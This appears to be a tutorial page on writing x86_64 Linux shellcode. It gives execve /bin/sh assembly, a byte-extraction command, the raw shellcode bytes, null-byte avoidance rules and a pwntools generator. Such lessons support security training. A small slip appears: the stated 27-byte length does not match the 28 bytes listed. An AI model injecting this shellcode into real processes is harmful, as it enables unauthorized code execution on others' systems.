Shellcode Writing & Injection
Craft assembly shellcode, eliminate null byte constraints, and inject executable machine code into target process memory.
// prerequisite reading
What is Shellcode?
Shellcode is a sequence of machine code instructions designed to execute a specific task (such as spawning /bin/sh or opening a reverse TCP connection) when injected into an exploited process’s memory space.
Linux System Call ABI (x86_64)
To invoke a system call in 64-bit Linux (syscall instruction), place arguments into standard CPU registers:
| Register | Purpose | Value for execve |
|---|---|---|
rax |
Syscall Number | 59 (0x3b) |
rdi |
Argument 1 (filename) |
Pointer to string "/bin/sh\x00" |
rsi |
Argument 2 (argv) |
NULL (0) or array of pointers |
rdx |
Argument 3 (envp) |
NULL (0) |
Crafting x86_64 /bin/sh Shellcode
Assembly Code (shell.s)
global _start
section .text
_start:
; Zero out rax and rdx
xor rax, rax
push rax ; Push NULL byte terminator to stack
; Push string "/bin//sh" (8 bytes) in reverse byte order (Little-Endian)
; "//" is used to pad the string to exactly 8 bytes
mov rbx, 0x68732f2f6e69622f
push rbx
; Set rdi = pointer to "/bin//sh" string on stack
mov rdi, rsp
; Set rsi = 0 (argv = NULL)
xor rsi, rsi
; Set rdx = 0 (envp = NULL)
xor rdx, rdx
; Set rax = 59 (sys_execve)
mov al, 59
; Trigger kernel syscall interrupt
syscall
Assembling & Extracting Machine Code Bytes
# Assemble and link
nasm -f elf64 shell.s -o shell.o
ld shell.o -o shell
# Extract raw hexadecimal opcode bytes
objdump -d shell | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s
Resulting 27-byte shellcode:
\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb0\x3b\x0f\x05
Eliminating Bad Characters (Null Bytes \x00)
String functions like strcpy() or scanf() terminate input upon encountering null bytes (\x00).
Null Elimination Rules
- Do not use full-size register assignments:
- ❌
mov rax, 59(contains\x00\x00\x00...in machine code) - ✅
xor rax, raxfollowed bymov al, 59
- ❌
- Do not push 0 directly:
- ❌
push 0 - ✅
xor rdx, rdxfollowed bypush rdx
- ❌
- Use bitwise XOR / subtract operations to compute values dynamically.
Generating Shellcode with Pwntools
Pwntools provides built-in shellcode generation and assembly tools:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
# Generate shellcode to execute /bin/sh
sc = shellcraft.amd64.linux.sh()
binary_shellcode = asm(sc)
print(f"Shellcode length: {len(binary_shellcode)} bytes")
print(hexdump(binary_shellcode))